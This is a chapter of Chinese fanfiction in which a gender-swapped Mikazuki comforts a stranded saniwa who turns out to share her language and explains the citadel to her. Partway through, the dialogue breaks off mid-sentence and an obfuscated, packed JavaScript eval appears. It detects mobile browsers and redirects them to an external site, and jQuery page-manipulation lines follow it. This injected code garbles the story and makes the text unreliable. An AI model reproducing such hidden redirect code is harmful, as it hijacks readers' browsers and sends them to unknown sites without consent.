27.血色沉默8
作品:《性转三日月决定拯救世界》 在狐之助那边得知与审神者有关的更多信息后,辉月便有猜想会是这样一个结果。
时政从各个位面吸取人才,不可避免地会面临位面不同语言不通的问题。按理来说,在审神者确定上任而尚未到达本丸签订契约之前,时政的技术人员便会在狐之助的协助下于本丸的时空内装设一键翻译系统。之后,狐之助连同来到本丸的刀剑付丧神会自动习得审神者的语言。
这一项技术在工作人员产地丰富的时政已经沿用许久,相当发达且可靠。像她穿梭在不同本丸依然可以和任何人进行无障碍交流,也是依靠了该项技术的变体。
然而这位审神者是因为意外来到此处,辉月推测,应当是狐之助穿梭时空去找原定的异世审神者时路过了她所在的时空,致使她被卷入时空穿梭通道。狐之助被她的充沛灵力吸引了注意力,一时激动没有注意到语言问题,只以为这位和原本要找的那位来源相同,就这么直接签订契约了。审神者、狐之助和刀剑付丧神通通无法沟通,也不知道清光那边对审神者产生了什么误会,让他们把本丸弄成了这副模样。
这些都是已经有所预料的,辉月真正震惊的地方在于,原来审神者竟是和自己说着同一种语言的老乡。A56提醒她的那句,“和她来自同一时空”,同一星系、同一星球、同一大陆还同一个国家,竟然是这么“同一”。
当那熟悉到不能再熟悉的语言响起,顺畅无比地流进耳朵里,堪比广告里的德芙没有一丝生涩,辉月一瞬之间恍惚了。像是三十多岁的人在路边小摊随手一买,就吃到了二十年前的味道,怀念之余满是怅然。
见辉月一时愣住没给反应,审神者只以为她是听到一连串咕噜咕噜没反应过来。
她想着红色帅哥每次和自己搭话时亮亮的眼睛,暗暗给自己打气,“他们对我很好,不会拒绝我的,没有什么好怕的”。她鼓起勇气向前倾身,随着自己的心意跨过矮桌握住了辉月的手。在指尖与手背相触的那刻,审神者惊叹出声,“宝宝你手好滑啊,摸起来好舒服好喜欢。”
当辉月震惊地睁大眼睛,她又立刻放开了手,连连解释,“等等你别把我当变态啊,我只是好久没见到跟我一样的女孩子,有点激动。真的,只是激动,只是有点太高兴了。”
她顿了一下,想到什么又垂下眼睛说,“不对,我们还是不一样的。唉,为什么你身上也背着刀啊,你也听不懂我讲什么。”
纵使对审神者的印象是高贵冷艳,她开口吐露出的话语却如此惑人心神,又是“宝宝”又是一连串夸夸,就连一向心如止水的辉月都差点把持不住。此刻看到她的喜悦在悄悄褪去,让人不安的理智重新占领头脑,眼帘半掩,睫毛像举起的伞挡住了绵绵细雨也挡住了她所有心事,辉月不由心生怜惜,在心中暗叹一声。
“算了,反正你出现在这里,说明你跟他们一样都会听我的,那就留在这里让我饱饱眼福过过嘴瘾吧。”她很努力地说服了自己,黯淡下去的脸庞又勉勉强强重焕生机。
然而,就在她打算和对面的女人唠唠嗑,唠到一定时机再吐诉心声,把这趟稀里糊涂的“梦”中旅程指指点点一番时,辉月忽然扬起笑容幽幽开口,“哈哈哈哈可以可以,上手摸也没问题哦。”
在那一瞬间,时间仿佛暂停了。只剩下洒脱的笑声,和上扬的尾音空空荡荡地飘扬着。
审神者的身躯僵硬在原地,她傻傻盯着辉月,还以为自己幻听了,原地停滞了许久才受惊一般飞速从地上弹了起来。
她原地弹起的速度很好,气势也很足,看起来参加跳高比赛可以轻松拿个好名次。可惜,起跳的位置不对,膝盖重重磕上了桌子底面,发出堪比摔炮着地的一声巨响,与之同时,划破云霄的是审神者掺杂着惊讶的痛呼。
很快,快到辉月也没反应过来,就在那巨响双重奏展现威力的下一秒,天守阁的门被轰然推开,力道太大以至于一侧门撞到了墙面,随后晃悠一下掉在地上。
“主人!发生了什么?”一堆刀剑付丧神堆在门口,有胳膊夹着菜筐的,手上端着茶点碟子的,甚至抬头远望还能看见有人在往这边赶,手里拎着没来得及晾的湿衣服,都是手上的事做到一半听着声就狂奔过来了。
站在第一个是清光,手上抓着一把花,其中一朵花瓣只剩下一半不到了。因为刚刚手的主人太过紧张,花被揉搓得渗出了汁液,将指尖染色。
凭借对清光的熟悉,辉月想他方才出去一定没有离开,而是蹲在天守阁门口,碰巧边上有开得正好的花,便抓了过来,一边揪花瓣一边悄悄算,审神者爱我,审神者不爱我。
其他刀剑不知道现在是怎么一回事,只看到了审神者和辉月相对而坐,审神者出事自然第一嫌疑人是辉月。于是下一秒,她差点被一堆警惕的目光给埋了,如果目光也有实体的话。
但清光知道是审神者主动叫辉月来的。所以在确定审神者身上没有伤口没有血气后,不需要额外的审视,他直截了当地问,“三日月,发生什么了?”
“哈哈哈哈,是不小心撞到桌子了。”考虑到审神者的薄脸皮,她去掉主体如实作答,不过在场的人除了当事人都不太相信。天守阁内一共两个人,高冷如冰的主人和优美如月的太刀,哪个看起来都不像是大惊小怪到要把桌子掀翻的人。
“真的吗?”有人向审神者求证。
辉月顺势望向矮桌另一面的女人。
堪称神奇,刚刚还情绪波动巨大,以至于撞了自己的膝盖的人,此刻又恢复了初见时的样子。毫无表情的面容,像是蒙着面纱笼着雾,让人捉摸不透,坐姿端正而稳重,如同玻璃盒里的永生花,它的模样让你只想隔着盒子远观。
或许是方才她的那些絮语和小举动拉近了两人心的距离,辉月这才透过那虚假的外壳注意到她衣袍下的肌肉如此紧绷,嘴唇紧抿,手攥在一起藏在衣袖下。什么拒人千里之外的高冷,分明是紧张和无措。
是一紧张反而会面瘫着端起架子的性格吗?也不怪大家都被她的脸和气质哄骗过去,若不是刚刚短暂窥见她真实的一面,连辉月都要被骗过去。
这才是真正的影帝啊,还是天赋派,如果要评演技大赏,辉月一定提名她。
“审神者大人在紧张吗?”
辉月突然的发问让审神者措手不及,她下意识“诶”了一声,露出了愣怔的表情。这才表现出了她真实的状态,分明还没从刚刚的震惊中走出来。
不过这就够了,如此真实的反应足以让门口关心着她的刀剑付丧神们明白,门里面没有发生任何危险的事情。
“真是的,吓我们一跳。”清光责备里带着宠溺地抱怨道,他在所有人各归各位后,最后一个离开,“不过,没想到主人也有这么可爱的一面啊。”
没有想过要让主人听见,或许是经验让他知道那已然没什么所谓,他没看审神者却勾着唇角很轻地感叹着。
刀剑们看似走了,辉月却注意到门上还留着模糊的影子。她理解大家的不放心,毕竟从来不声不响的审神者突然冒出这么大的动静,让人很难不多想。既然一心想着听懂听不懂的审神者没注意到,大家又都是出于好心,辉月便只当没看见。听就听吧,反正她们的对话他们听不懂。
至少表面上,天守阁又只剩下她们两个人。
一时谁也没说话。
只有审神者的脸颊在寂静中悄无声息地泛红,是为刚刚自己颇为惊扰人的失误举动。
“那个……我不是故意的。”她的声音更小了,像是从喉咙口勉强挤出来的。
“没关系的,不是什么大事。所以还需要摸吗?”辉月主动伸出手,手掌向上摊开在桌面上,就在两人的正中央。
一个恰到好处的邀请,不过近显得压迫,也不过远以致疏离。
另一双手试探着、缓慢地伸出,在辉月摊开的手掌上停顿片刻,在她包容而鼓励的眼神中轻盈落下。女孩的手总是柔软,正如她们的心,辉月握住她,不用力却又暗含力量。
“你……”她依然有些迟疑。
“嗯?”辉月握紧与她相连的那只手,又将另一只手包裹住两人指尖交织形成的拳头,在最紧密的贴合之中,温度缓慢上升。
“你怎么会说话。不对,你也是被逮过来的吗?可是你跟他们一样带着刀,你到底是谁呀?”如释重负,她终于问出口。
她是谁呢,此时此刻并不重要。现在最重要的是帮这位审神者了解所有的情况。
“这里是本丸……”
辉月将审神者、本丸、刀剑付丧神和时政娓娓道来。得知一切后,审神者的第一反应是惊讶。她不可置信地单手捂住嘴,身体紧绷起来,背脊随之挺直,像是在抵御这现实。她当然知道这就是现实,是必须接受的事实,因为手上传来的温度和力度都那么真实,穿过皮肤,传到她的身体深处。
于是她很快又放松下来,第二个反应是担心,担心那群所谓“刀剑付丧神”要怎么办。
“我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816957|172683||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要怎么做啊,我什么都不知道,我不会把他们养死吧!所以地上淌的,满庭院飘的真的是血啊!要怎么止血,他们好像不是人类吧,是不是要之前一样对他们的刀施法。”
感受到她声音里海浪一样的情绪波澜,每一次起伏都极尽慌张,还有那突然攥紧的手,辉月安抚地拍了拍她的手背。
“你现在做的不是挺好的吗?”辉月说。
“可是,他们一直在流血诶。”审神者并不确定。
不用回头也能想起门上倒影着的一个个身影,层层叠叠堆在一起,辉月笑了,“但他们看起来还挺开心的。”
“怎么会有人流血还开心呢?我之前还以为他们是虚幻的,还以为是梦境,怎么也想不通是什么情况。我没管过他们,甚至不怎么和他们说话,放任他们流了好久的血,他们是不是很痛,会讨厌我吗?”
她的声音开始颤抖,瞳孔不安地快速挪动着,手心出汗,皮肤相触的地方变得滑而黏腻。但辉月没有松开,反而轻轻将她拉近,让她能清晰看见自己的眼睛,看见其中极具感染力的沉静。
“看着我。”
下意识地她如辉月所言,直勾勾地望向那双眼睛。被眼眸中深邃的大海捕获,被稳定的潮汐带动,她的呼吸平静下来。
“你在害怕什么?”辉月问。
“我、我不知道,我什么都害怕。”审神者垂下眼。
梦与现实是不一样的,梦里没有人会受伤,就算从空中坠落,醒来也会发现自己不过是从床上翻了下来正趴在地上。可现实里不是这样的。处于一个环境里的人,自然结成一张网,谁动了,旁人都会感到牵扯,就这么彼此影响着。
在梦里,她可以恍惚、可以发呆、可以想不通的事情就不想,可以什么也不管,可以将所有一切交给自然而然。可在现实里,她害怕受伤,也害怕伤害别人。
“他们为什么老是来看我?是在监视我吗?”她问。
“你知道猫为什么叫吗?你是审神者,是刀剑之主,他们向往你,只是想要亲近你。”辉月答。
“亲、亲近,不太好吧。”她往后畏缩一下。
“倒也没有那么亲近。你养过宠物吗?”辉月无奈叹笑一声又问。
“养过啊。”
“那没问题了,活的刀也能算是一种新型宠物吧,你养着就完事了。”
“那才有问题啊!我连仙人掌都养死过,家里的金鱼一个月一换。这不把他们养死了!”
辉月回想披着染血的衣裳跑来跑去的刀剑们,迟疑了一下,但当脑海里的画面转换到大和守安定追着平野玩闹,短刀们聚众撸狐,她又放下心来。心想,果然还是不一样啊,这不活得好好的。
他们的流血受伤确有其事,但氛围轻松心情愉快也并不作假。刀剑就是刀剑啊,锋利又坚韧,各个本丸各有各的养法。评判养得怎么样不在她的工作范围内,但她调查清楚了,这本丸不算在异常行列。
在辉月的安慰下审神者不再那么焦虑不安,但她对于审神者一职却无信心,甚至犹犹豫豫地向辉月询问离职手续怎么办理,需不需要付违约金。
连违约金都纳入考虑,这是真的很想撂担子走人了。简直就像投简历被录取,上岗了才发现进的是全球五百强,看着自己简历里吹上天的技能和电脑里见都没见过的应用程序,硬着头皮临阵磨枪还是光速滑跪离场,这是个问题。
不想强迫这个无意来此的人硬留下来,成为审神者并非她本意,她本不必为此买单。但辉月从她的字里行间感受到的东西,让她觉得或许面前的人并非想逃避这项责任,她只是迷惑茫然了太久,一时无法接受这个她已拥有许久但事实上对她而言全新的身份。
正是因为不想让任何人受伤,才想要离开这里。
“或许你应该先见见他们,这些刀剑付丧神。”辉月提议,“在同一片时空一起生活了这么久,应该是第一次好好看看他们吧。”
审神者似有心动,却又犹疑不敢答应,“我有点害怕,我不知道该怎么面对他们。”
“没关系,我会陪着你,就像你面对我一样面对他们吧。”
审神者闻言安心下来,随后才觑辉月两眼,轻声问出自己最关心的问题,“那之后,我是不是可以回家了?”
小心翼翼的提问里有太多期待和太多不确定,背后是一个女人彷徨无措的心。
辉月温声回道,“当然,无论结果如何,走还是留,你都可以回家。”